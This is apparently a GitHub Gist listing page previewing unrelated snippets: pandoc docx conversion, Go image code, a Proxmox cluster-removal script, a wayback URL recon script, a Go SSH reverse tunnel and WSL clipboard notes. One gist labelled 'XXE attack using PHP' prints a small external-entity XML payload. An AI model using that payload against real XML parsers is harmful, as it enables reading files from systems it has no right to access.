Skip to content

Instantly share code, notes, and snippets.

@tomo-makes
tomo-makes / 20171217-docx-to-markdown-with-pandoc.md
Last active February 16, 2024 02:33
Wordファイル(.docx)をMarkdownへ変換する
$ pandoc -s <input>.docx --wrap=none --reference-links --extract-media=media -t gfm --filter ./despan.py -o <output>.md

いろいろと試した挙句、下記の観点でこれがベスト。

  • --wrap=none 勝手にwrapさせたくない(defaultではwrapしてしまう)
  • --reference-links
  • --extract-media=media docxに埋め込まれたpngなどを抽出できる
  • -t gfm github形式のmarkdownで出力したい(tableがpandoc defaultのmarkdownは他の形式になってしまう)
@macrat
macrat / image.go
Created November 9, 2017 05:25
golangでグラデーション作ったり、文字入れたり。
package main
import (
"image"
"image/color"
"image/png"
"os"
"golang.org/x/image/font"
"golang.org/x/image/font/basicfont"
@higebu
higebu / summary.txt
Last active September 10, 2017 22:33
vuls to vyos
vyos117 Total: 199 (High:38 Medium:135 Low:26 ?:0) 106 updatable packages
@ianchen06
ianchen06 / del_cluster.sh
Created June 26, 2017 10:29
delete proxmox cluster
# source: https://forum.proxmox.com/threads/removing-deleting-a-created-cluster.18887/
#/bin/sh
# stop service
systemctl stop pvestatd.service
systemctl stop pvedaemon.service
systemctl stop pve-cluster.service
systemctl stop corosync
systemctl stop pve-cluster
# edit through sqlite, check, delete, verify
@jobertabma
jobertabma / attack.xml
Created June 13, 2017 17:39 — forked from janmartenjongerius/attack.xml
XXE attack using PHP
<!DOCTYPE scan [
<!ENTITY test SYSTEM "target.xml">
]><scan>&test;</scan>
@mgoellnitz
mgoellnitz / snip.sh
Last active January 4, 2024 17:57
GitLab Snippet Command Line Tool
#!/bin/bash
#
# Copyright 2016-2021 Martin Goellnitz
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@codref
codref / go-ssh-reverse-tunnel.go
Last active January 22, 2025 16:31
Go SSH reverse tunnel implementation (SSH -R)
/*
Go-Language implementation of an SSH Reverse Tunnel, the equivalent of below SSH command:
ssh -R 8080:127.0.0.1:8080 operatore@146.148.22.123
which opens a tunnel between the two endpoints and permit to exchange information on this direction:
server:8080 -----> client:8080
@robbiev
robbiev / clipboard.md
Created April 14, 2017 16:22
clipboard access for WSL / bash on Windows

For those who want to go the X server route, let me leave my notes here.

  1. Install VcXsrv (I found that Xming is outdated on sourceforge and the new version is donationware)
  2. If it starts after installing, stop it
  3. Start it using XLaunch (search in the start menu), go with all the defaults (ensure the clipboard options are checked)
  4. At the end, save the configuration to a file (use that to start it from now on)
  5. Put export DISPLAY=localhost:0.0 in your .bashrc in bash for Windows (and run the command in any open bash windows). The reason I explicitly say localhost is that this makes SSH X forwarding work, see below.
  6. Ensure vim is installed using clipboard support. vim --version | grep clipboard should say +clipboard, not -clipboard. Also if you run the ex command :echo has('clipboard') in vim and it says 0 it does not have clipboard support compiled in. If you don't have clipboard support, install the vim-gtk package (`apt-get install vi
@Jakuje
Jakuje / README.md
Last active December 1, 2023 17:36
OpenSC test Sign, Verify, Encipher and Decipher from commandline with OpenSSL CLI
export PIN=111111
export SIGN_KEY=11
export ENC_KEY=55

Sign/Verify using private key/certificate

  • Create a data to sign

    echo "data to sign (max 100 bytes)" > data